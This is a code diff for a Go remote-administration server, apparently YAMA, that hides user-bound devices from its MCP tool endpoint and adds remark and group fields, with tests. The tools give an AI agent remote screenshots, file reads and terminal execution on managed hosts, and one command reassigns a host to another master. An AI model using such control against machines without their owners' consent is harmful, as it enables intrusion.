return existed
}
// Has reports whether id has a history record (online or offline). Callers
// that write per-device side data use it to refuse an ID this server has never
// seen, so a stale UI cannot create an orphan entry.
func (s *Store) Has(id string) bool {
if id == "" {
return false
}
s.mu.Lock()
_, ok := s.devices[id]
s.mu.Unlock()
return ok
}
// Flush writes the current state synchronously. Normally the debounced timer
// does this; Flush exists for tests and graceful shutdown.
func (s *Store) Flush() error {
@@ -261,3 +261,48 @@ func TestFlushLeavesNoTempFiles(t *testing.T) {
}
}
}
// A transfer marker is dropped once its deadline passes — the client is back on
// its original master by then, so keeping the label would be a lie — and also
// as soon as the device logs in here again, because that means it is back
// early (upgrade done, or the target was unreachable).
func TestTransferMarkerLifecycle(t *testing.T) {
path := filepath.Join(t.TempDir(), "devices.json")
s, err := Open(path, 1000, nil)
if err != nil {
t.Fatalf("Open: %v", err)
}
t.Cleanup(func() { _ = s.Close() })
h := hub.New()
h.Subscribe(s)
h.Register(&hub.Device{ID: "dev-1", Name: "PC-1"}, &connection.Context{RemoteAddr: "198.51.100.9:5000"})
if _, _, ok := s.Transfer("dev-1"); ok {
t.Fatal("fresh device already reports a transfer")
}
if !s.SetTransfer("dev-1", "mfc.example:6544", time.Now().Add(time.Hour).Unix()) {
t.Fatal("SetTransfer on a known device failed")
}
if target, _, ok := s.Transfer("dev-1"); !ok || target != "mfc.example:6544" {
t.Fatalf("marker not visible: %q/%v", target, ok)
}
// Expired marker is dropped on read.
if !s.SetTransfer("dev-1", "mfc.example:6544", time.Now().Add(-time.Second).Unix()) {
t.Fatal("SetTransfer with a past deadline failed")
}
if _, _, ok := s.Transfer("dev-1"); ok {
t.Fatal("expired transfer marker still reported")
}
// A login on this server means the host is back, so the marker goes away.
if !s.SetTransfer("dev-1", "mfc.example:6544", time.Now().Add(time.Hour).Unix()) {
t.Fatal("SetTransfer after expiry failed")
}
h.Unregister("dev-1")
h.Register(&hub.Device{ID: "dev-1", Name: "PC-1"}, &connection.Context{RemoteAddr: "198.51.100.9:5001"})
if target, until, ok := s.Transfer("dev-1"); ok {
t.Fatalf("marker survived a reconnect: %q/%d", target, until)
}
}
+185
View File
@@ -0,0 +1,185 @@
package mcp
import (
"encoding/json"
"strings"
"testing"
)
// fakeOwners stands in for web.DeviceACL: a device with a non-empty owner is
// bound to that web user and must be invisible to MCP.
type fakeOwners map[string]string
func (f fakeOwners) Owner(deviceID string) string { return f[deviceID] }
func bindOwners(s *Server, owners fakeOwners) { s.cfg.DeviceACL = owners }
func hasID(hosts []map[string]any, id string) bool {
for _, h := range hosts {
if h["id"] == id {
return true
}
}
return false
}
func wantNoID(t *testing.T, hosts []map[string]any, id string) {
t.Helper()
if hasID(hosts, id) {
t.Fatalf("ids = %v, must not contain bound device %s", hostIDs(hosts), id)
}
}
// TestACLListHostsHidesBoundDevices covers the listing paths: online and
// offline entries whose owner is set are dropped before paging and counting,
// so they affect neither the page nor total/totalAll.
func TestACLListHostsHidesBoundDevices(t *testing.T) {
f := newLocalFixture(t)
bindOwners(f.srv, fakeOwners{"1001": "alice", "2001": "alice"})
_, sc := mustCallLocal(t, f.srv, "list_hosts", `{}`)
hosts := hostList(t, sc)
wantIDs(t, hosts, "1002", "1003")
wantNoID(t, hosts, "1001")
if got := intField(t, sc, "total"); got != 2 {
t.Fatalf("total = %d, want 2 public hosts", got)
}
if got := intField(t, sc, "totalAll"); got != 2 {
t.Fatalf("totalAll = %d, want 2 public hosts", got)
}
_, sc = mustCallLocal(t, f.srv, "list_hosts", `{"include_offline":true}`)
hosts = hostList(t, sc)
wantNoID(t, hosts, "1001")
wantNoID(t, hosts, "2001") // bound device that is now offline
if !hasID(hosts, "2002") {
t.Fatalf("ids = %v, want unbound offline device 2002", hostIDs(hosts))
}
if got := intField(t, sc, "total"); got != 3 {
t.Fatalf("total = %d, want 3 public hosts (2 online + 1 offline)", got)
}
// Filtering by the bound device's own name or group must not reveal it
// through an empty-but-otherwise-valid result either: the filters apply to
// the public snapshot, so the answer is simply nothing.
for _, q := range []string{`{"name":"ALPHA"}`, `{"query":"ALPHA"}`, `{"group":"Legacy"}`} {
if _, sc = mustCallLocal(t, f.srv, "list_hosts", q); len(hostList(t, sc)) != 0 {
t.Fatalf("%s returned bound hosts: %v", q, hostIDs(hostList(t, sc)))
}
}
}
// TestACLDeniesBoundDeviceByID checks the per-device tools: a bound device is
// answered exactly like an offline host, so MCP callers cannot tell it exists
// at all (policy C: bound devices are unreachable even by id).
func TestACLDeniesBoundDeviceByID(t *testing.T) {
f := newLocalFixture(t)
bindOwners(f.srv, fakeOwners{"1001": "alice"})
single := []struct{ tool, args string }{
{"get_host_detail", `{"id":"1001"}`},
{"get_screenshot", `{"id":"1001"}`},
{"list_files", `{"id":"1001"}`},
{"read_file", `{"id":"1001","path":"/etc/hostname"}`},
{"terminal_exec", `{"id":"1001","command":"dir"}`},
}
for _, c := range single {
if _, _, rerr := callLocal(t, f.srv, c.tool, c.args); rerr == nil || rerr.Code != CodeOffline {
t.Fatalf("%s on bound device = %+v, want -32002", c.tool, rerr)
}
}
// The batch form reports a per-id failure, not a leak.
text, sc := mustCallLocal(t, f.srv, "get_host_detail", `{"ids":["1001","1002"]}`)
if got := intField(t, sc, "succeeded"); got != 1 {
t.Fatalf("succeeded = %d, want only the public host", got)
}
if got := intField(t, sc, "failed"); got != 1 {
t.Fatalf("failed = %d, want the bound host", got)
}
if strings.Contains(text, "ALPHA") {
t.Fatalf("text leaks the bound host: %q", text)
}
first := sc["results"].([]any)[0].(map[string]any)
if ok, _ := first["ok"].(bool); ok {
t.Fatalf("bound id reported ok: %v", first)
}
// Files batch listing: every bound id fails, public ids still succeed.
_, sc = mustCallLocal(t, f.srv, "list_files", `{"ids":["1001"]}`)
raw, _ := json.Marshal(sc["results"])
if !strings.Contains(string(raw), `"ok":false`) || strings.Contains(string(raw), "ALPHA") {
t.Fatalf("list_files batch = %s, want one opaque failure", raw)
}
// The gate is the owner map, not the device's online state: an unbound id
// must still pass it (the later "is it online" check rejects 9999).
if f.srv.denyPrivateDevice("1002") != nil {
t.Fatal("unbound device denied")
}
if f.srv.denyPrivateDevice("9999") != nil {
t.Fatal("unknown device denied as private")
}
}
// TestACLServerStatusCounts verifies the status tool counts only public
// devices, so bound hosts do not inflate the fleet summary.
func TestACLServerStatusCounts(t *testing.T) {
f := newLocalFixture(t)
bindOwners(f.srv, fakeOwners{"1001": "alice", "2001": "alice"})
_, sc := mustCallLocal(t, f.srv, "get_server_status", `{}`)
hosts, ok := sc["hosts"].(map[string]any)
if !ok {
t.Fatalf("hosts = %v", sc["hosts"])
}
if got := intField(t, hosts, "online"); got != 2 {
t.Fatalf("online = %d, want 2 public online hosts", got)
}
if got := intField(t, hosts, "offline"); got != 1 {
t.Fatalf("offline = %d, want 1 public offline host", got)
}
}
// TestACLAuditHidesBoundDeviceRecords checks that audit records carrying a
// bound device_id are filtered out of get_audit_log, including through
// keyword/type filters, while the pre-filter total stays honest.
func TestACLAuditHidesBoundDeviceRecords(t *testing.T) {
path := writeAuditFile(t,
`{"audit":true,"time":"2026-11-12T10:00:00Z","level":"info","event":"web.login.success","actor":"admin","ip":"1.2.3.4"}`,
`{"audit":true,"time":"2026-11-12T10:01:00Z","level":"info","event":"device.online","device_id":"1001","name":"ALPHA"}`,
`{"audit":true,"time":"2026-11-12T10:02:00Z","level":"info","event":"device.online","device_id":"1002","name":"BETA"}`,
// MCP tool calls spell the target as "device".
`{"audit":true,"time":"2026-11-12T10:03:00Z","level":"info","event":"mcp.tool.call","device":"1001","args":"{}"}`,
// Bind/unbind records carry a devices array.
`{"audit":true,"time":"2026-11-12T10:04:00Z","level":"info","event":"admin.device.bind","devices":["1001","1002"],"owner":"alice"}`,
)
s := New(Config{Token: "test-token", AuditPath: path})
bindOwners(s, fakeOwners{"1001": "alice"})
text, sc := mustCallLocal(t, s, "get_audit_log", `{}`)
// Public: login, device.online 1002. Hidden: device_id 1001, MCP device
// 1001, and the bind record because its devices array names 1001.
if got := intField(t, sc, "total"); got != 2 {
t.Fatalf("total = %d, want the two public records", got)
}
if got := intField(t, sc, "totalAll"); got != 5 {
t.Fatalf("totalAll = %d, want unfiltered 5", got)
}
for _, leak := range []string{"ALPHA", `"device_id":"1001"`, `"device":"1001"`, `"devices":["1001"`} {
if strings.Contains(text, leak) {
t.Fatalf("text leaks bound-device record %s: %q", leak, text)
}
}
// A keyword carried only by the bound device's record finds nothing.
if _, sc = mustCallLocal(t, s, "get_audit_log", `{"keyword":"ALPHA"}`); intField(t, sc, "total") != 0 {
t.Fatalf("keyword ALPHA total = %d, want 0", intField(t, sc, "total"))
}
// Without an owner map (MCP-only deployments) nothing is filtered.
plain := New(Config{Token: "test-token", AuditPath: path})
if _, sc = mustCallLocal(t, plain, "get_audit_log", `{}`); intField(t, sc, "total") != 5 {
t.Fatalf("no-ACL total = %d, want 5", intField(t, sc, "total"))
}
}
+3
View File
@@ -511,6 +511,9 @@ func (s *Server) listFilesOne(ctx context.Context, args listFilesArgs) (toolResu
if !isDecimalID(args.ID) {
return toolResult{}, errf(CodeInvalidParams, "Invalid id: expected a decimal host id string")
}
if rerr := s.denyPrivateDevice(args.ID); rerr != nil {
return toolResult{}, rerr
}
// NUL and newlines would truncate or split the client's C string field.
if strings.ContainsAny(args.Path, "\x00\r\n") {
return toolResult{}, errf(CodeInvalidParams, "Invalid path: NUL and line breaks are not allowed")
+137 -1
View File
@@ -36,6 +36,91 @@ const (
termSweepInterval = 30 * time.Second
)
// DeviceOwner reports the owner of a device. The web console's DeviceACL
// implements it; declared here as an interface so the MCP package does not
// import the web package.
type DeviceOwner interface {
Owner(deviceID string) string
}
// DeviceRemarks reports the web console's remark for a device ("" when none).
// Implemented by web.DeviceNotes; declared as an interface for the same reason
// as DeviceOwner. A nil table simply leaves the field out of the host JSON.
type DeviceRemarks interface {
Note(deviceID string) string
}
// deviceRemarkSnapshotter is an optional DeviceRemarks capability: returning
// the whole table lets a host listing take one snapshot instead of a read lock
// per device, so a remark save's fsync cannot stall the call and one listing
// cannot mix pre-edit and post-edit labels. Implemented by web.DeviceNotes.
type deviceRemarkSnapshotter interface {
Notes() map[string]string
}
// DeviceGroups reports the web console's group override for a device ("" when
// the host keeps the group it reported). Implemented by web.DeviceGroups.
type DeviceGroups interface {
Group(deviceID string) string
}
// deviceGroupSnapshotter mirrors deviceRemarkSnapshotter for the group table.
type deviceGroupSnapshotter interface {
Groups() map[string]string
}
// deviceOwnerSnapshotter is an optional DeviceOwner capability: returning the
// whole binding table lets a long operation (the audit scan) apply the policy
// without a read-lock acquisition per record. Implemented by web.DeviceACL.
type deviceOwnerSnapshotter interface {
Owners() map[string]string
}
// ownerChecker returns a predicate for "is this device public?" that borrows a
// single snapshot when the ACL supports it, so scanning thousands of audit
// records does not contend with an in-flight bind's write lock.
func (s *Server) ownerChecker() func(deviceID string) bool {
if s.cfg.DeviceACL == nil {
return nil
}
if snap, ok := s.cfg.DeviceACL.(deviceOwnerSnapshotter); ok {
owners := snap.Owners()
return func(id string) bool { return owners[id] == "" }
}
return func(id string) bool { return s.cfg.DeviceACL.Owner(id) == "" }
}
// hostView carries the per-call label snapshots used by one host listing. A
// table that can snapshot its whole map is read once, so a large listing
// neither takes a read lock per device nor observes a save halfway through;
// other tables fall back to one lookup per device. nil means the table is not
// configured.
type hostView struct {
remarkOf func(deviceID string) string
groupOf func(deviceID string) string
}
func (s *Server) hostView() hostView {
var v hostView
if s.cfg.DeviceRemarks != nil {
if snap, ok := s.cfg.DeviceRemarks.(deviceRemarkSnapshotter); ok {
notes := snap.Notes()
v.remarkOf = func(id string) string { return notes[id] }
} else {
v.remarkOf = func(id string) string { return s.cfg.DeviceRemarks.Note(id) }
}
}
if s.cfg.DeviceGroups != nil {
if snap, ok := s.cfg.DeviceGroups.(deviceGroupSnapshotter); ok {
groups := snap.Groups()
v.groupOf = func(id string) string { return groups[id] }
} else {
v.groupOf = func(id string) string { return s.cfg.DeviceGroups.Group(id) }
}
}
return v
}
// Config is filled by cmd/main.go from the YAMA_MCP_* environment variables;
// the package itself never reads the environment, so tests are deterministic.
type Config struct {
@@ -56,6 +141,20 @@ type Config struct {
AuditPath string // "" = audit file disabled (YAMA_AUDIT_LOG=off)
Port int // web/MCP listening port, for get_server_status
Bind string // listening address, for get_server_status
// DeviceACL, when non-nil, hides devices bound to a web user. MCP only
// operates public devices (product decision): a bound device is invisible
// in list_hosts/get_host_detail and unreachable by ID in every device-
// targeted tool, even if its ID is known.
DeviceACL DeviceOwner
// DeviceRemarks, when non-nil, adds the web console's remark to
// list_hosts/get_host_detail and lets the name/query filters match it.
DeviceRemarks DeviceRemarks
// DeviceGroups, when non-nil, applies the web console's group override to
// the group field and the group filter in the host tools.
DeviceGroups DeviceGroups
}
// toolFunc implements one tools/call. It returns either a result value or a
@@ -145,6 +244,36 @@ func New(cfg Config) *Server {
// unknown path.
func (s *Server) Enabled() bool { return s != nil && s.cfg.Token != "" }
// devicePrivate reports whether the device is bound to a web user. MCP only
// operates public devices; bound devices are hidden and unreachable here even
// though the endpoint's static token is effectively an admin credential.
func (s *Server) devicePrivate(deviceID string) bool {
return s.cfg.DeviceACL != nil && s.cfg.DeviceACL.Owner(deviceID) != ""
}
// denyPrivateDevice returns the same error shape as an offline host so a
// private device is indistinguishable from one that does not exist.
func (s *Server) denyPrivateDevice(deviceID string) *rpcError {
if s.devicePrivate(deviceID) {
return errf(CodeOffline, "Host not found or offline: %s", deviceID)
}
return nil
}
// publicDevices filters a device snapshot down to the ones MCP may expose.
func (s *Server) publicDevices(devices []hub.DeviceInfo) []hub.DeviceInfo {
if s.cfg.DeviceACL == nil {
return devices
}
out := make([]hub.DeviceInfo, 0, len(devices))
for _, d := range devices {
if s.cfg.DeviceACL.Owner(d.ID) == "" {
out = append(out, d)
}
}
return out
}
// Close releases resources held by long-lived tool state: the reaper stops and
// every terminal session MCP owns is torn down and the shell told to exit.
func (s *Server) Close() {
@@ -344,6 +473,13 @@ func (s *Server) callTool(ctx context.Context, raw json.RawMessage) (result any,
// a temporary state between milestones, not a client mistake.
return nil, errf(CodeInternal, "tool %s is not implemented by this server build", params.Name)
}
// A device bound to a web user is invisible to MCP (product policy). Enforce
// it once here for every single-host tool so a new tool cannot forget the
// check; batch id[] spellings are checked by their per-host handler
// (listFilesOne / hostMaps).
if rerr := s.denyPrivateDevice(deviceID); rerr != nil {
return nil, rerr
}
// Global slot first: a call that would be rejected for concurrency must
// not squat on a device lock while it fails.
@@ -412,5 +548,5 @@ const serverInstructions = `这是 YAMA 服务端的 MCP 端点(Go 实现)
4) get_screenshot 只支持 mode=screen(按链路状况自适应缩放,max_width 省略时最大 1024);本实现没有 CLIENT_CAP_SCREEN_REGION 扩展,mode=region/window/monitor 与区域类参数一律返回 -32005。
5) list_files / read_file 走文件传输通道;list_files 支持 ids 批量(最多 50 台、整批 50 秒)。read_file 只接受单个普通文件且整文件不超过 2 MiB,目录用 list_files;本实现没有 download_file / search_file,超限文件只能改用 terminal_exec 分段查看,或连 Windows 主控端的完整服务端。
6) terminal_exec 需要客户端支持终端(CLIENT_CAP_TERMINAL),会在目标主机上创建持久会话;用完调用 terminal_close 释放,闲置会话由服务端回收。调用被取消时返回的 message 里带 session_id,可用它轮询或关闭。
7) 本实现不维护备注与授权状态:list_hosts / get_host_detail 不返回 remark/authStatus/tls;get_server_status 只报版本、在线台数与监听地址,没有 switches/sessions。
7) 本实现不维护授权状态与 TLS 标记:list_hosts / get_host_detail 不返回 authStatus/tls;备注(remark)与分组(group)可由 Web 控制台维护:备注设置后随主机返回且 query/name 会匹配,分组覆盖值同时用于返回字段和 group 过滤。get_server_status 只报版本、在线台数与监听地址,没有 switches/sessions。
8) 列表与详情都是调用时刻的快照,主机可能在操作期间掉线;写操作前先读一次现状,动作后再复核。`
+70 -28
View File
@@ -106,12 +106,17 @@ func (s *Server) callListHosts(_ context.Context, raw json.RawMessage) (any, *rp
}
includeOffline := args.IncludeOffline != nil && *args.IncludeOffline
onlineDevices := s.cfg.Hub.ListDevices()
onlineSet := make(map[string]struct{}, len(onlineDevices))
for _, d := range onlineDevices {
// The offline history must be computed from the FULL online set, not the
// ACL-filtered one: otherwise a private device that is currently online
// would reappear as an "offline" entry until the outer filter drops it.
// Filter once, at the end.
onlineAll := s.cfg.Hub.ListDevices()
onlineSet := make(map[string]struct{}, len(onlineAll))
for _, d := range onlineAll {
onlineSet[d.ID] = struct{}{}
}
offlineDevices := s.offlineDevices(onlineSet)
onlineDevices := s.publicDevices(onlineAll)
offlineDevices := s.publicDevices(s.offlineDevices(onlineSet))
var pool []hub.DeviceInfo
switch {
@@ -137,8 +142,15 @@ func (s *Server) callListHosts(_ context.Context, raw json.RawMessage) (any, *rp
ctF := strings.ToLower(args.ClientType)
matched := make([]hub.DeviceInfo, 0, len(pool))
view := s.hostView()
for _, d := range pool {
group := d.Group
if view.groupOf != nil {
// A web-console override wins over the group the host reported.
if g := view.groupOf(d.ID); g != "" {
group = g
}
}
if group == "" {
group = "default"
}
@@ -150,12 +162,20 @@ func (s *Server) callListHosts(_ context.Context, raw json.RawMessage) (any, *rp
if d.Online {
clientType = s.clientType(d.ID)
}
// query matches computer name, remark and IP. The two servers keep no
// remark column, so name+IP is the full set here.
if q != "" && !strings.Contains(strings.ToLower(d.Name), q) && !strings.Contains(strings.ToLower(ip), q) {
remark := ""
if view.remarkOf != nil {
remark = view.remarkOf(d.ID)
}
// query matches computer name, remark and IP; name matches computer
// name and remark, like the Win32 server. The remark is the web
// console's label (empty unless an admin set it).
if q != "" && !strings.Contains(strings.ToLower(d.Name), q) &&
!strings.Contains(strings.ToLower(ip), q) &&
!strings.Contains(strings.ToLower(remark), q) {
continue
}
if nameF != "" && !strings.Contains(strings.ToLower(d.Name), nameF) {
if nameF != "" && !strings.Contains(strings.ToLower(d.Name), nameF) &&
!strings.Contains(strings.ToLower(remark), nameF) {
continue
}
if ipF != "" && !strings.Contains(strings.ToLower(ip), ipF) {
@@ -180,7 +200,7 @@ func (s *Server) callListHosts(_ context.Context, raw json.RawMessage) (any, *rp
end := min(begin+limit, total)
hosts := make([]map[string]any, 0, end-begin)
for _, d := range matched[begin:end] {
hosts = append(hosts, s.hostJSON(d))
hosts = append(hosts, s.hostJSON(d, view))
}
structured := map[string]any{
@@ -200,10 +220,17 @@ func (s *Server) callListHosts(_ context.Context, raw json.RawMessage) (any, *rp
}
// hostJSON projects a hub device onto the list_hosts/get_host_detail schema.
// Fields the Go server does not know (authStatus, tls, remark, clientType of
// an offline entry) are omitted rather than fabricated.
func (s *Server) hostJSON(d hub.DeviceInfo) map[string]any {
// Fields the Go server does not know (authStatus, tls, clientType of an
// offline entry) are omitted rather than fabricated. remark and group come
// from the web console when it has them (view carries the per-call snapshots).
func (s *Server) hostJSON(d hub.DeviceInfo, view hostView) map[string]any {
group := d.Group
if view.groupOf != nil {
// A web-console override wins over the group the host reported.
if g := view.groupOf(d.ID); g != "" {
group = g
}
}
if group == "" {
group = "default"
}
@@ -213,6 +240,11 @@ func (s *Server) hostJSON(d hub.DeviceInfo) map[string]any {
"group": group,
"online": d.Online,
}
if view.remarkOf != nil {
if remark := view.remarkOf(d.ID); remark != "" {
h["remark"] = remark
}
}
if d.Version != "" {
h["version"] = d.Version
}
@@ -295,7 +327,7 @@ func (s *Server) callGetHostDetail(_ context.Context, raw json.RawMessage) (any,
return nil, errf(CodeInvalidParams, "Missing required parameter: id or ids")
}
online, offline := s.hostMaps()
host, rerr := s.lookupHost(args.ID, online, offline)
host, rerr := s.lookupHost(args.ID, online, offline, s.hostView())
if rerr != nil {
return nil, rerr
}
@@ -308,10 +340,11 @@ func (s *Server) hostDetailBatch(ids []string) (any, *rpcError) {
"Too many ids: %d (max %d per batch)", len(ids), batchMaxIDs)
}
online, offline := s.hostMaps()
view := s.hostView() // one snapshot for the whole batch
results := make([]map[string]any, 0, len(ids))
succeeded, failed := 0, 0
for _, id := range ids {
host, rerr := s.lookupHost(id, online, offline)
host, rerr := s.lookupHost(id, online, offline, view)
if rerr != nil {
results = append(results, map[string]any{
"id": id,
@@ -347,14 +380,19 @@ func (s *Server) hostDetailBatch(ids []string) (any, *rpcError) {
// hostMaps indexes the online devices and offline history by ID. Building both
// once per call keeps a 50-id batch at one hub snapshot instead of 50.
func (s *Server) hostMaps() (online, offline map[string]hub.DeviceInfo) {
onlineDevices := s.cfg.Hub.ListDevices()
onlineAll := s.cfg.Hub.ListDevices()
onlineSet := make(map[string]struct{}, len(onlineAll))
onlineDevices := s.publicDevices(onlineAll)
online = make(map[string]hub.DeviceInfo, len(onlineDevices))
onlineSet := make(map[string]struct{}, len(onlineDevices))
for _, d := range onlineDevices {
online[d.ID] = d
}
// Derive offline entries from the full online set (see callListHosts):
// a private online device must not be mistaken for an offline one.
for _, d := range onlineAll {
onlineSet[d.ID] = struct{}{}
}
offlineDevices := s.offlineDevices(onlineSet)
offlineDevices := s.publicDevices(s.offlineDevices(onlineSet))
offline = make(map[string]hub.DeviceInfo, len(offlineDevices))
for _, d := range offlineDevices {
offline[d.ID] = d
@@ -365,17 +403,17 @@ func (s *Server) hostMaps() (online, offline map[string]hub.DeviceInfo) {
// lookupHost resolves one host: online first, then the last-known history
// record. It mirrors the Win32 server, which answers offline hosts with their
// final snapshot instead of an error.
func (s *Server) lookupHost(id string, online, offline map[string]hub.DeviceInfo) (map[string]any, *rpcError) {
func (s *Server) lookupHost(id string, online, offline map[string]hub.DeviceInfo, view hostView) (map[string]any, *rpcError) {
if !isDecimalID(id) {
return nil, errf(CodeInvalidParams, "Invalid id: expected a decimal host id string")
}
if d, ok := online[id]; ok {
h := s.hostJSON(d)
h := s.hostJSON(d, view)
h["capabilities"] = s.capabilities(d)
return h, nil
}
if d, ok := offline[id]; ok {
return s.hostJSON(d), nil
return s.hostJSON(d, view), nil
}
return nil, errf(CodeOffline, "Host not found or offline: %s", id)
}
@@ -439,13 +477,13 @@ func appendHostRows(text string, hosts []map[string]any) string {
for _, h := range hosts {
online, _ := h["online"].(bool)
rows = append(rows, []string{
tableText(h["id"]), tableText(h["name"]), tableText(h["ip"]),
tableText(h["group"]), tableText(h["os"]), strconv.FormatBool(online),
tableText(h["clientType"]), tableText(h["last_seen"]),
tableText(h["id"]), tableText(h["name"]), tableText(h["remark"]),
tableText(h["ip"]), tableText(h["group"]), tableText(h["os"]),
strconv.FormatBool(online), tableText(h["clientType"]), tableText(h["last_seen"]),
})
}
return appendRows(text,
[]string{"id", "name", "ip", "group", "os", "online", "clientType", "last_seen"},
[]string{"id", "name", "remark", "ip", "group", "os", "online", "clientType", "last_seen"},
rows)
}
@@ -483,12 +521,13 @@ func (s *Server) callGetServerStatus(_ context.Context, _ json.RawMessage) (any,
text = fmt.Sprintf("YAMA Go 服务端 %s 已运行 %d 秒", s.cfg.Version, uptime)
}
if s.cfg.Hub != nil {
onlineDevices := s.cfg.Hub.ListDevices()
onlineSet := make(map[string]struct{}, len(onlineDevices))
for _, d := range onlineDevices {
onlineAll := s.cfg.Hub.ListDevices()
onlineSet := make(map[string]struct{}, len(onlineAll))
for _, d := range onlineAll {
onlineSet[d.ID] = struct{}{}
}
offline := len(s.offlineDevices(onlineSet))
onlineDevices := s.publicDevices(onlineAll)
offline := len(s.publicDevices(s.offlineDevices(onlineSet)))
status["hosts"] = map[string]any{"online": len(onlineDevices), "offline": offline}
text += fmt.Sprintf(";在线 %d 台,离线 %d 台", len(onlineDevices), offline)
}
@@ -530,6 +569,9 @@ func (s *Server) callGetAuditLog(_ context.Context, raw json.RawMessage) (any, *
// event name; the web UI's exact/prefix Event filter does not fit.
EventContains: args.Type,
}
// Audit records name their target device. A device bound to a web user is
// invisible to MCP, so its activity must not leak through the log either.
q.DeviceAllowed = s.ownerChecker()
q.Limit = auditquery.ClampLimit(args.Limit, auditquery.MaxLimit)
q.Offset = auditquery.ClampOffset(args.Offset)
+70 -4
View File
@@ -213,8 +213,35 @@ func TestAppendRowsSanitizesCells(t *testing.T) {
}
}
// fakeRemarks stands in for web.DeviceNotes: the map value is the remark. It
// only implements Note, so it exercises the per-device fallback path.
type fakeRemarks map[string]string
func (f fakeRemarks) Note(deviceID string) string { return f[deviceID] }
// fakeRemarkSnapshot also implements Notes(), the snapshot capability the
// shipped web.DeviceNotes provides.
type fakeRemarkSnapshot map[string]string
func (f fakeRemarkSnapshot) Note(deviceID string) string { return f[deviceID] }
func (f fakeRemarkSnapshot) Notes() map[string]string { return f }
// fakeGroups stands in for web.DeviceGroups (per-device fallback path).
type fakeGroups map[string]string
func (f fakeGroups) Group(deviceID string) string { return f[deviceID] }
// fakeGroupSnapshot also implements Groups(), the snapshot capability the
// shipped web.DeviceGroups provides.
type fakeGroupSnapshot map[string]string
func (f fakeGroupSnapshot) Group(deviceID string) string { return f[deviceID] }
func (f fakeGroupSnapshot) Groups() map[string]string { return f }
func TestListHostsPoolsAndProjection(t *testing.T) {
f := newLocalFixture(t)
f.srv.cfg.DeviceRemarks = fakeRemarkSnapshot{"1001": "Reception PC"}
f.srv.cfg.DeviceGroups = fakeGroupSnapshot{"1002": "Remote"}
text, sc := mustCallLocal(t, f.srv, "list_hosts", `{}`)
hosts := hostList(t, sc)
@@ -236,11 +263,11 @@ func TestListHostsPoolsAndProjection(t *testing.T) {
}
// Text-only MCP clients never see structuredContent, so the table in the
// text block must carry the id every follow-up call is addressed by.
if !strings.Contains(text, "id\tname\tip\tgroup\tos\tonline\tclientType\tlast_seen") {
if !strings.Contains(text, "id\tname\tremark\tip\tgroup\tos\tonline\tclientType\tlast_seen") {
t.Fatalf("text = %q, want host table header", text)
}
if !strings.Contains(text, "1001\tALPHA\t10.0.0.1\tdefault\tWindows 10\ttrue\tEXE\t-") {
t.Fatalf("text = %q, want ALPHA row with id first", text)
if !strings.Contains(text, "1001\tALPHA\tReception PC\t10.0.0.1\tdefault\tWindows 10\ttrue\tEXE\t-") {
t.Fatalf("text = %q, want ALPHA row with id first and remark", text)
}
alpha := hosts[0]
@@ -268,7 +295,16 @@ func TestListHostsPoolsAndProjection(t *testing.T) {
if _, ok := alpha["last_seen"]; ok {
t.Fatal("online host carries last_seen")
}
for _, absent := range []string{"remark", "authStatus", "tls"} {
if got := strField(t, alpha, "remark"); got != "Reception PC" {
t.Fatalf("remark = %q, want the web console's label", got)
}
if !strings.Contains(text, "1002\tBETA\t-\t192.168.1.2\tRemote\tWindows 11\ttrue\tEXE\t-") {
t.Fatalf("text = %q, want BETA row with the group override", text)
}
if _, ok := hosts[1]["remark"]; ok {
t.Fatalf("unset remark present on %v", hosts[1]["id"])
}
for _, absent := range []string{"authStatus", "tls"} {
if _, ok := alpha[absent]; ok {
t.Fatalf("%s present but the Go server has no such data", absent)
}
@@ -306,6 +342,7 @@ func TestListHostsPoolsAndProjection(t *testing.T) {
func TestListHostsFilters(t *testing.T) {
f := newLocalFixture(t)
f.srv.cfg.DeviceRemarks = fakeRemarks{"1001": "Reception PC"}
cases := []struct {
name string
@@ -313,6 +350,7 @@ func TestListHostsFilters(t *testing.T) {
want []string
}{
{"name substring", `{"name":"beta"}`, []string{"1002"}},
{"name matches remark", `{"name":"reception"}`, []string{"1001"}},
{"group substring", `{"group":"office"}`, []string{"1002", "1003"}},
{"os substring case-insensitive", `{"os":"windows"}`, []string{"1001", "1002"}},
{"client type", `{"client_type":"lnx"}`, []string{"1003"}},
@@ -320,6 +358,7 @@ func TestListHostsFilters(t *testing.T) {
{"peer ip fallback", `{"ip":"192.168.1.2"}`, []string{"1002"}},
{"query matches name", `{"query":"gamma"}`, []string{"1003"}},
{"query matches ip", `{"query":"10.0.0.1"}`, []string{"1001"}},
{"query matches remark", `{"query":"reception"}`, []string{"1001"}},
{"filters are ANDed", `{"group":"office","os":"ubuntu"}`, []string{"1003"}},
{"no match", `{"name":"zzz"}`, nil},
}
@@ -355,6 +394,33 @@ func TestListHostsFilters(t *testing.T) {
}
}
// TestListHostsGroupOverride: the web console's group override drives both the
// projected group and the group filter, including for offline records.
func TestListHostsGroupOverride(t *testing.T) {
f := newLocalFixture(t)
f.srv.cfg.DeviceGroups = fakeGroupSnapshot{"1002": "Remote", "1003": "Remote", "2001": "Archive"}
_, sc := mustCallLocal(t, f.srv, "list_hosts", `{"group":"remote"}`)
wantIDs(t, hostList(t, sc), "1002", "1003")
_, sc = mustCallLocal(t, f.srv, "list_hosts", `{"online":false,"group":"archive"}`)
wantIDs(t, hostList(t, sc), "2001")
if got := strField(t, hostList(t, sc)[0], "group"); got != "Archive" {
t.Fatalf("offline group = %q, want the override", got)
}
}
// TestListHostsGroupOverrideFallback covers a DeviceGroups implementation that
// participates through Group() only (no whole-table snapshot).
func TestListHostsGroupOverrideFallback(t *testing.T) {
f := newLocalFixture(t)
f.srv.cfg.DeviceGroups = fakeGroups{"1002": "Remote"}
_, sc := mustCallLocal(t, f.srv, "list_hosts", `{}`)
if got := strField(t, hostList(t, sc)[1], "group"); got != "Remote" {
t.Fatalf("group = %q, want the override", got)
}
}
func TestListHostsPaging(t *testing.T) {
f := newLocalFixture(t)
-1
View File
@@ -131,7 +131,6 @@ func (s *Server) callTerminalExec(ctx context.Context, raw json.RawMessage) (any
if !isDecimalID(args.ID) {
return nil, errf(CodeInvalidParams, "Invalid id: expected a decimal host id string")
}
command := strings.TrimSpace(args.Command)
isPoll := command == ""
if isPoll && args.SessionID == "" {
+41
View File
@@ -155,6 +155,21 @@ const (
CommandBye byte = 204 // COMMAND_BYE - disconnect
CommandHeartbeat byte = 216 // CMD_HEARTBEAT_ACK
// CommandAssignMaster moves a host to another master (COMMAND_ASSIGN_MASTER).
// Payload: [cmd][ShareTypeYamaForever]host:port:days[:shine[:transport]]\0
